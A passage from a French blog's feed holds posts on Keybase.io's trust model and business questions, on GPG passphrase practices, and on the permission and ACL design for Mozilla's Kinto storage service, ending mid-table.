&lt;p&gt;&lt;a href="https://keybase.io"&gt;Keybase.io&lt;/a&gt; est un service qui vise à rendre la
création de ces preuves plus facile, en partant du principe qu&amp;#8217;il est
possible d&amp;#8217;utiliser différents moyens afin de prouver l&amp;#8217;identité des
personnes. Par exemple, leurs comptes Twitter, GitHub ou leurs noms de
domaines. De la même manière qu&amp;#8217;il est possible de signer (valider) les
clés de nos amis, il est possible de les &amp;#8220;tracker&amp;#8221; selon le jargon de&amp;nbsp;keybase.&lt;/p&gt;
&lt;p&gt;Donc, en somme, &lt;em&gt;Keybase.io&lt;/em&gt; est un annuaire, qui tente de rendre plus
facile la création de preuves.&amp;nbsp;Bien.&lt;/p&gt;
&lt;h2 id="quelques-points-dombre"&gt;Quelques points&amp;nbsp;d&amp;#8217;ombre&lt;/h2&gt;
&lt;p&gt;Il s&amp;#8217;agit d&amp;#8217;une &lt;em&gt;startup&lt;/em&gt; américaine, domiciliée dans le Delaware, qui
se trouve être un des paradis fiscaux qui &lt;a href="https://fr.wikipedia.org/wiki/Delaware"&gt;est connu pour être un
paradis fiscal au coeur même des
États-Unis&lt;/a&gt;. Je ne veux pas
faire de raccourcis trop rapides, bien évidemment, alors &lt;a href="https://github.com/keybase/keybase-issues/issues/1569"&gt;j&amp;#8217;ai ouvert un
ticket sur GitHub pour en savoir
plus&lt;/a&gt; (après
tout, le fait d&amp;#8217;être un paradis fiscal permet peut-être d&amp;#8217;échapper à
certaines lois sur la requêtes de données). D&amp;#8217;autant plus étonnant, la
startup n&amp;#8217;a pour l&amp;#8217;instant &lt;a href="https://github.com/keybase/keybase-issues/issues/788"&gt;pas de &lt;em&gt;business
model&lt;/em&gt;&lt;/a&gt; (ce qui en
un sens est assez rassurant, même si on peut se poser la question de
pourquoi faire une startup dans ces cas&amp;nbsp;là).&lt;/p&gt;
&lt;p&gt;Le service (bien qu&amp;#8217;en Alpha), n&amp;#8217;est pas mis à disposition sous licence
libre, ce qui pour l&amp;#8217;instant empêche quiconque de créer son propre
serveur Keybase. &lt;a href="https://github.com/keybase/"&gt;Une partie des composants, cependant, le sont (open
source)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai du mal à croire en des initiatives qui veulent sauver le monde,
mais dans leur coin, je ne comprends pas pourquoi il n&amp;#8217;y à pas de
documentation sur comment monter son propre serveur, ou comment les
aider à travailler sur la fédération. Mais bon, c&amp;#8217;est pour l&amp;#8217;instant une
initiative encore fraîche, et je lui laisse le bénéfice du&amp;nbsp;doute.&lt;/p&gt;
&lt;p&gt;Sur le long terme, une infrastructure comme &lt;em&gt;Keybase.io&lt;/em&gt;, devra
évidemment être
&lt;a href="https://github.com/keybase/keybase-issues/issues/162"&gt;distribuée&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We&amp;#8217;ve been talking about a total decentralization, but we have to
solve a couple things, synchronization in particular. Right now
someone can mirror us and a client can trust a mirror just as easily
as the server at keybase.io, but there needs to be a way of announcing
proofs to any server and having them cooperate with each other. We&amp;#8217;d
be so happy to get this&amp;nbsp;right.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="http://chris.beams.io/posts/keybase/"&gt;Chris Coyne, co-founder of&amp;nbsp;Keybase&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Afin de se &amp;#8220;passer&amp;#8221; de leur service centralisé, les preuves générées
(qui sont la force du système qu&amp;#8217;ils mettent en place) pourraient être
exportées sur des serveurs de clés existants. C&amp;#8217;est quelque chose
&lt;a href="https://github.com/keybase/keybase-issues/issues/890"&gt;qu&amp;#8217;ils souhaitent réaliser
.&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Bref, une initiative quand même importante et utile, même si elle
soulève des questions qui méritent qu&amp;#8217;on s&amp;#8217;y attarde un&amp;nbsp;brin.&lt;/p&gt;
&lt;p&gt;Par ailleurs, &lt;a href="https://leap.se/nicknym"&gt;d&amp;#8217;autres projets qui visent des objectifs
similaires&lt;/a&gt; existent, via le projet &lt;span class="caps"&gt;LEAP&lt;/span&gt;, mais
je n&amp;#8217;ai pas encore&amp;nbsp;creusé.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Phrases de passe et bonnes pratiques</title><link href="https://blog.notmyidea.org/phrases-de-passe-et-bonnes-pratiques.html" rel="alternate"></link><published>2015-05-09T00:00:00+02:00</published><updated>2015-05-09T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-05-09:/phrases-de-passe-et-bonnes-pratiques.html</id><summary type="html">
&lt;ul&gt;
&lt;li&gt;headline&lt;br&gt;
    Communiquer de manière chiffrée n&amp;#8217;est pas aisée, et nécessite de
    mémoriser des phrases de passes complexes. Comment s&amp;#8217;en sortir&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Au contraire des autres mots de passe, les mots de passe
cryptographiques ont specifiquement besoin d&amp;#8217;être longs et extremement
difficiles à deviner. La raison est qu&amp;#8217;un …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">
&lt;ul&gt;
&lt;li&gt;headline&lt;br&gt;
    Communiquer de manière chiffrée n&amp;#8217;est pas aisée, et nécessite de
    mémoriser des phrases de passes complexes. Comment s&amp;#8217;en sortir&amp;nbsp;?&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Au contraire des autres mots de passe, les mots de passe
cryptographiques ont specifiquement besoin d&amp;#8217;être longs et extremement
difficiles à deviner. La raison est qu&amp;#8217;un ordinateur (ou un cluster de
plusieurs ordinateurs) peut être programmé pour faire des trillions
d&amp;#8217;essais de manière automatique. Si le mot de passe choisi est trop
faible ou construit d&amp;#8217;une manière trop prédictible, cette attaque par
la force pourrait se revéler fructueuse en essayant toutes les&amp;nbsp;possibilités.&lt;/p&gt;
&lt;p&gt;&amp;#8212; &lt;a href="https://www.eff.org/wp/defending-privacy-us-border-guide-travelers-carrying-digital-devices"&gt;The Electronic Frontier
Foundation&lt;/a&gt;
(traduction de mon&amp;nbsp;fait)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comprendre les concepts et l&amp;#8217;écosystème qui permettent d&amp;#8217;avoir une vie
numérique chiffrée n&amp;#8217;est pas quelque chose d&amp;#8217;aisé.
&lt;a href="https://emailselfdefense.fsf.org/fr/"&gt;Plusieurs&lt;/a&gt;
&lt;a href="http://www.controle-tes-donnees.net/outils/GnuPG.html"&gt;guides&lt;/a&gt; ont été
écrits à ce propos, et pour autant je me rends compte que naïvement il
est possible de mal utiliser les outils&amp;nbsp;existants.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Utilisez un &lt;em&gt;bon&lt;/em&gt; mot de passe pour votre session utilisateur et une
&lt;em&gt;bonne&lt;/em&gt; phrase de passe pour proteger votre clé privée. Cette phrase
de passe est la partie la plus fragile de tout le&amp;nbsp;système.&lt;/p&gt;
&lt;p&gt;&amp;#8212; La page de manuel de &lt;span class="caps"&gt;GPG&lt;/span&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une phrase de passe&amp;nbsp;devrait:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Être suffisamment longue pour être difficile à&amp;nbsp;deviner;&lt;/li&gt;
&lt;li&gt;Ne pas être une citation connue (littérature, livres sacrés&amp;nbsp;etc);&lt;/li&gt;
&lt;li&gt;Difficile à deviner même pour vos&amp;nbsp;proches;&lt;/li&gt;
&lt;li&gt;Facile à se souvenir et à&amp;nbsp;taper;&lt;/li&gt;
&lt;li&gt;être unique et non partagée entre différents sites / applications&amp;nbsp;etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une des techniques consiste à utiliser des mots du dictionnaire,
sélectionnés de manière aléatoire, puis&amp;nbsp;modifiés.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Trough 20 years of effort, we've succesfully trained everyone to use passwords that are hard for humans to remember, but easy for computers to guess" src="https://imgs.xkcd.com/comics/password_strength.png"&gt;&lt;/p&gt;
&lt;p&gt;Micah Lee &lt;a href="https://github.com/micahflee/passphrases"&gt;travaille également sur un
outil&lt;/a&gt; qui vise à rendre la
mémorisation des phrases de passe plus aisée, de par leur répétition
avec des pauses de plus en plus&amp;nbsp;longues.&lt;/p&gt;
&lt;p&gt;Oui, ce n&amp;#8217;est pas aussi simple que ce qu&amp;#8217;il y parait. Pour ma part, j&amp;#8217;ai
une copie en local de mes clés, dans un fichier chiffré avec une autre
clé que j&amp;#8217;ai généré pour l&amp;#8217;occasion et que je ne partagerait pas. J&amp;#8217;ai
par ailleurs &lt;a href="https://github.com/jamessan/vim-gnupg"&gt;configuré&lt;/a&gt; mon
éditeur de texte pour pouvoir chiffrer les documents textes par&amp;nbsp;défaut.&lt;/p&gt;
&lt;p&gt;J&amp;#8217;ai donc regénéré une nouvelle fois mes clés de travail et
personnelles, en utilisant des phrases de passe plus&amp;nbsp;complexes.&lt;/p&gt;
&lt;p&gt;Reste encore la question de la sauvegarde de ces clés privées de manière
chiffrée, que je n&amp;#8217;ai pas encore résolue. Bref, tout cela me semble bien
compliqué pour réussir à l&amp;#8217;expliquer à des novices, qui pour certains ne
sont même pas sur de l&amp;#8217;intérêt de la&amp;nbsp;chose.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Service de nuages : La gestion des permissions</title><link href="https://blog.notmyidea.org/service-de-nuages-la-gestion-des-permissions-fr.html" rel="alternate"></link><published>2015-05-01T00:00:00+02:00</published><updated>2015-05-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-05-01:/service-de-nuages-la-gestion-des-permissions-fr.html</id><summary type="html">&lt;p class="first last"&gt;Démystification du vocabulaire des permissions et proposition d&amp;#8217;implémentation pour&amp;nbsp;Kinto&lt;/p&gt;
</summary><content type="html">&lt;p&gt;&lt;em&gt;Cet article est repris depuis le blog « Service de Nuages » de mon équipe à&amp;nbsp;Mozilla&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Dans le cadre de la création d&amp;#8217;un service de stockage de données personnelles
(Kinto), la gestion des permissions est un des gros challenges : qui doit avoir
accès à quoi, et comment le définir&amp;nbsp;?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tl;dr: Quelques retours sur le vocabulaire des systèmes de permission et sur nos idées pour l&amp;#8217;implementation des permissions dans un stockage&amp;nbsp;générique.&lt;/strong&gt;&lt;/p&gt;
&lt;div class="section" id="la-problematique"&gt;
&lt;h2&gt;La&amp;nbsp;problématique&lt;/h2&gt;
&lt;p&gt;La problématique est simple : des données sont stockées en ligne, et il
faut un moyen de pouvoir les partager avec d&amp;#8217;autres&amp;nbsp;personnes.&lt;/p&gt;
&lt;p&gt;En regardant les cas d&amp;#8217;utilisations, on se rend compte qu&amp;#8217;on a plusieurs types
d&amp;#8217;utilisateurs&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;les utilisateurs &amp;#8220;finaux&amp;#8221; (vous)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;les applications qui interagissent en leurs&amp;nbsp;noms.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tous les intervenants n&amp;#8217;ont donc pas les mêmes droits : certains doivent
pouvoir lire, d&amp;#8217;autres écrire, d&amp;#8217;autres encore créer de nouveaux
enregistrements, et le contrôle doit pouvoir s&amp;#8217;effectuer de manière fine : il
doit être possible de lire un enregistrement mais pas un autre, par&amp;nbsp;exemple.&lt;/p&gt;
&lt;p&gt;Nous sommes partis du constat que les solutions disponibles n&amp;#8217;apportaient pas
une réponse satisfaisante à ces&amp;nbsp;besoins.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="un-probleme-de-vocabulaire"&gt;
&lt;h2&gt;Un problème de&amp;nbsp;vocabulaire&lt;/h2&gt;
&lt;p&gt;Le principal problème rencontré lors des réflexions fût le&amp;nbsp;vocabulaire.&lt;/p&gt;
&lt;p&gt;Voici ci-dessous une explication des différents&amp;nbsp;termes.&lt;/p&gt;
&lt;div class="section" id="le-concept-de-principal"&gt;
&lt;h3&gt;Le concept de « principal&amp;nbsp;»&lt;/h3&gt;
&lt;p&gt;Un &lt;em&gt;principal&lt;/em&gt;, en sécurité informatique, est une entité qui peut être
authentifiée par un système informatique. &lt;a class="footnote-reference" href="#footnote-1" id="footnote-reference-1"&gt;[1]&lt;/a&gt; En Français il s&amp;#8217;agit
du « commettant », l&amp;#8217;acteur qui commet l&amp;#8217;action (oui, le terme est conceptuel&amp;nbsp;!)&lt;/p&gt;
&lt;p&gt;Il peut s&amp;#8217;agir aussi bien d&amp;#8217;un individu, d&amp;#8217;un ordinateur, d&amp;#8217;un
service ou d&amp;#8217;un groupe regroupant l&amp;#8217;une de ces entités, ce qui
est plus large que le classique « &lt;em&gt;user id&lt;/em&gt;&amp;nbsp;».&lt;/p&gt;
&lt;p&gt;Les permissions sont alors associées à ces &lt;em&gt;principals&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Par exemple, un utilisateur est identifié de manière unique lors de la
connexion par le système d&amp;#8217;authentification dont le rôle est de
définir une liste de &lt;em&gt;principals&lt;/em&gt; pour l&amp;#8217;utilisateur se&amp;nbsp;connectant.&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-1" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Pour en savoir plus sur les &lt;em&gt;principals&lt;/em&gt; :
&lt;a class="reference external" href="https://en.wikipedia.org/wiki/Principal_%28computer_security%29"&gt;https://en.wikipedia.org/wiki/Principal_%28computer_security%29&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="la-difference-entre-role-et-groupe"&gt;
&lt;h3&gt;La différence entre rôle et&amp;nbsp;groupe&lt;/h3&gt;
&lt;p&gt;De but en blanc, il n&amp;#8217;est pas évident de définir précisément la
différence entre ces deux concepts qui permettent d&amp;#8217;associer
des permissions à un groupe de &lt;em&gt;principals&lt;/em&gt;. &lt;a class="footnote-reference" href="#footnote-2" id="footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;La différence est principalement sémantique. Mais on peut y voir une
différence dans la « direction » de la relation entre les deux&amp;nbsp;concepts.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un rôle est une liste de permissions que l&amp;#8217;on associe à un &lt;em&gt;principal&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Un groupe est une liste de &lt;em&gt;principals&lt;/em&gt; que l&amp;#8217;on peut associer à une&amp;nbsp;permission.&lt;/li&gt;
&lt;/ul&gt;
&lt;table class="docutils footnote" frame="void" id="footnote-2" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#footnote-reference-2"&gt;[2]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Plus d&amp;#8217;informations :
&lt;a class="reference external" href="http://stackoverflow.com/questions/7770728/group-vs-role-any-real-difference"&gt;http://stackoverflow.com/questions/7770728/group-vs-role-any-real-difference&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="la-difference-entre-permission-acl-ace"&gt;
&lt;h3&gt;La différence entre permission, &lt;span class="caps"&gt;ACL&lt;/span&gt;, &lt;span class="caps"&gt;ACE&lt;/span&gt;&lt;/h3&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Une &lt;span class="caps"&gt;ACL&lt;/span&gt; est une liste d’Access Control Entry (&lt;span class="caps"&gt;ACE&lt;/span&gt;) ou entrée de contrôle d&amp;#8217;accès
donnant ou supprimant des droits d&amp;#8217;accès à une personne ou un&amp;nbsp;groupe.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Access_Control_List"&gt;https://fr.wikipedia.org/wiki/Access_Control_List&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je dirais même plus, dans notre cas, « à un &lt;em&gt;principal&lt;/em&gt; ». Par&amp;nbsp;exemple:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;create_record: alexis,remy,tarek
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cet &lt;span class="caps"&gt;ACE&lt;/span&gt; donne la permission &lt;tt class="docutils literal"&gt;create&lt;/tt&gt; sur l&amp;#8217;objet &lt;tt class="docutils literal"&gt;record&lt;/tt&gt; aux
utilisateurs Tarek, Rémy et&amp;nbsp;Alexis.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="la-delegation-de-permissions"&gt;
&lt;h2&gt;La délégation de&amp;nbsp;permissions&lt;/h2&gt;
&lt;p&gt;Imaginez l&amp;#8217;exemple suivant, où un utilisateur stocke deux types de données en
ligne&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;des contacts&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;une liste de tâches à faire qu&amp;#8217;il peut associer à ses&amp;nbsp;contacts.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;#8217;utilisateur a tous les droits sur ses&amp;nbsp;données.&lt;/p&gt;
&lt;p&gt;Cependant il utilise deux applications qui doivent elles avoir un accès restreint&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;une application de gestion des contacts à qui il souhaite déléguer
la gestion intégrale de ses contacts : &lt;tt class="docutils literal"&gt;contacts:write&lt;/tt&gt; ;&lt;/li&gt;
&lt;li&gt;une application de gestion des tâches à qui il souhaite déléguer la
gestion des tâches : &lt;tt class="docutils literal"&gt;contacts:read tasks:write&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il souhaite que son application de contacts ne puisse pas accéder à
ses tâches et que son application de tâches ne puisse pas modifier ses
contacts existants, juste éventuellement en créer de&amp;nbsp;nouveaux.&lt;/p&gt;
&lt;p&gt;Il lui faut donc un moyen de déléguer certains de ses droits à un tiers&amp;nbsp;(l&amp;#8217;application).&lt;/p&gt;
&lt;p&gt;C&amp;#8217;est précisément le rôle des &lt;a class="reference external" href="http://tools.ietf.org/html/rfc6749#page-23"&gt;scopes OAuth2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Lors de la connexion d&amp;#8217;un utilisateur, une fenêtre lui demande quels
accès il veut donner à l&amp;#8217;application qui va agir en son&amp;nbsp;nom.&lt;/p&gt;
&lt;p&gt;Le service aura ensuite accès à ces &lt;em&gt;scopes&lt;/em&gt; en regardant le jeton
d&amp;#8217;authentification utilisé. Cette information doit être
considérée comme une entrée utilisateur (c&amp;#8217;est à dire qu&amp;#8217;on ne peut
pas lui faire confiance). Il s&amp;#8217;agit de ce que l&amp;#8217;utilisateur&amp;nbsp;souhaite.&lt;/p&gt;
&lt;p&gt;Or, il est également possible que l&amp;#8217;utilisateur n&amp;#8217;ait pas accès aux données
qu&amp;#8217;il demande. Le service doit donc utiliser deux niveaux de permissions :
celles de l&amp;#8217;utilisateur, et celles qui ont été déléguées à&amp;nbsp;l&amp;#8217;application.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="espace-de-noms"&gt;
&lt;h2&gt;Espace de&amp;nbsp;noms&lt;/h2&gt;
&lt;p&gt;Dans notre implémentation initiale de &lt;em&gt;Kinto&lt;/em&gt; (notre service de stockage en
construction), l&amp;#8217;espace de nom était implicite : les données stockées étaient
nécessairement celles de l&amp;#8217;utilisateur&amp;nbsp;connecté.&lt;/p&gt;
&lt;p&gt;Les données d&amp;#8217;un utilisateur étaient donc cloisonnées et impossible à&amp;nbsp;partager.&lt;/p&gt;
&lt;p&gt;L&amp;#8217;utilisation d&amp;#8217;espaces de noms est une manière simple de gérer le partage des&amp;nbsp;données.&lt;/p&gt;
&lt;p&gt;Nous avons choisi de reprendre le modèle de GitHub et de Bitbucket, qui
utilisent les « organisations » comme espaces de&amp;nbsp;noms.&lt;/p&gt;
&lt;p&gt;Dans notre cas, il est possible de créer des &amp;#8220;buckets&amp;#8221;, qui correspondent à ces
espaces de noms. Un bucket est un conteneur de collections et de groupes&amp;nbsp;utilisateurs.&lt;/p&gt;
&lt;p&gt;Les ACLs sur ces collections peuvent être attribuées à certains groupes du
&lt;em&gt;bucket&lt;/em&gt; ainsi qu&amp;#8217;à d&amp;#8217;autres &lt;em&gt;principals&lt;/em&gt;&amp;nbsp;directement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="notre-proposition-d-api"&gt;
&lt;h2&gt;Notre proposition d&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h2&gt;
&lt;div class="section" id="les-objets-manipules"&gt;
&lt;h3&gt;Les objets&amp;nbsp;manipulés&lt;/h3&gt;
&lt;p&gt;Pour mettre en place la gestion des permissions, nous avons identifié les
objets suivants&amp;nbsp;:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="23%" /&gt;
&lt;col width="77%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;bucket&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;On peut les voir comme des espaces de noms. Ils
permettent d&amp;#8217;avoir différentes collections portant
le même nom mais stockées dans différents &lt;em&gt;buckets&lt;/em&gt; de
manière à ce que les données soient distinctes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;collection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Une liste d&amp;#8217;enregistrements.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;record&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Un enregistrement d&amp;#8217;une collection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;group&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Un groupe de commetants (« &lt;em&gt;principals&lt;/em&gt; »).&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Pour la définition des ACLs, il y a une hiérarchie et les objets « héritent » des
ACLs de leur parents&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;           +---------------+
           | Bucket        |
           +---------------+
    +-----&amp;gt;+ - id          +&amp;lt;---+
    |      | - permissions |    |
    |      +---------------+    |
    |                           |
    |                           |
    |                           |
    |                           |
    |                           |
+---+-----------+        +------+---------+
| Collection    |        | Group          |
+---------------+        +----------------+
| - id          |        |  - id          |
| - permissions |        |  - members     |
+------+--------+        |  - permissions |
       ^                 +----------------+
       |
       |
+------+---------+
| Record         |
+----------------+
|  - id          |
|  - data        |
|  - permissions |
+----------------+
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="les-permissions"&gt;
&lt;h3&gt;Les&amp;nbsp;permissions&lt;/h3&gt;
&lt;p&gt;Pour chacun de ces objets nous avons identifié les permissions suivantes&amp;nbsp;:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="23%" /&gt;
&lt;col width="77%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Permission&lt;/th&gt;
&lt;th class="head"&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;read&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;La permission de lire le contenu de
l&amp;#8217;objet et de ses sous-objets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;write&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;La permission de modifier et
d&amp;#8217;administrer un objet et ses sous-
objets. La permission &lt;em&gt;write&lt;/em&gt; permet la
lecture, modification et suppression
d&amp;#8217;un objet ainsi que la gestion de ses
permissions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;create&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;La permission de créer le sous-objet
spécifié. Par exemple:
&lt;tt class="docutils literal"&gt;collections:create&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;À chaque permission spécifiée sur un objet est associée une liste de
&lt;em&gt;principals&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Dans le cas de la permission &lt;tt class="docutils literal"&gt;create&lt;/tt&gt; on est obligé de spécifier
l&amp;#8217;objet enfant en question car un objet peut avoir plusieurs types
d&amp;#8217;enfants. Par exemple : &lt;tt class="docutils literal"&gt;collections:create&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;groups:create&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Nous n&amp;#8217;avons pour l&amp;#8217;instant pas de permission pour &lt;cite&gt;delete&lt;/cite&gt; et &lt;cite&gt;update&lt;/cite&gt;,
puisque nous n&amp;#8217;avons pas trouvé de cas d&amp;#8217;utilisation qui les nécessitent.
Quiconque avec le droit d&amp;#8217;écriture peut donc supprimer un&amp;nbsp;enregistrement.&lt;/p&gt;
&lt;p&gt;Les permissions d&amp;#8217;un objet sont héritées de son parent. Par exemple,
un enregistrement créé dans une collection accessible à tout le monde
en lecture sera lui aussi accessible à tout le&amp;nbsp;monde.&lt;/p&gt;
&lt;p&gt;Par conséquent, les permissions sont cumulées. Autrement dit, il n&amp;#8217;est pas
possible qu&amp;#8217;un objet ait des permissions plus restrictives que son&amp;nbsp;parent.&lt;/p&gt;
&lt;p&gt;Voici la liste exhaustive des permissions&amp;nbsp;:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="21%" /&gt;
&lt;col width="32%" /&gt;
&lt;col width="47%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Permissions associées&lt;/th&gt;
&lt;th class="head"&gt;Commentaire&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;Configuration
(.ini)&lt;/td&gt;
&lt;td&gt;&lt;cite&gt;buckets:create&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Les &lt;em&gt;principals&lt;/em&gt; ayant le droit
de créer un bucket sont définis
dans la configuration du serveur.
(&lt;em&gt;ex. utilisateurs authentifiés&lt;/em&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="4"&gt;&lt;tt class="docutils literal"&gt;bucket&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;cite&gt;write&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;C&amp;#8217;est en quelque sorte le droit
d&amp;#8217;administration du &lt;em&gt;bucket&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;read&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;C&amp;#8217;est le droit de lire le contenu
de tous les objets du &lt;em&gt;bucket&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;collections:create&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de créer des
collections dans le &lt;em&gt;bucket&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;groups:create&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de créer des groupes
dans le &lt;em&gt;bucket&lt;/em&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="3"&gt;&lt;tt class="docutils literal"&gt;collection&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;cite&gt;write&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission d&amp;#8217;administrer tous les
objets de la collection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;read&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de consulter tous les
objets de la collection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;records:create&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de créer des nouveaux
enregistrement dans la collection.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;record&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;cite&gt;write&lt;/cite&gt;&lt;/td&gt;
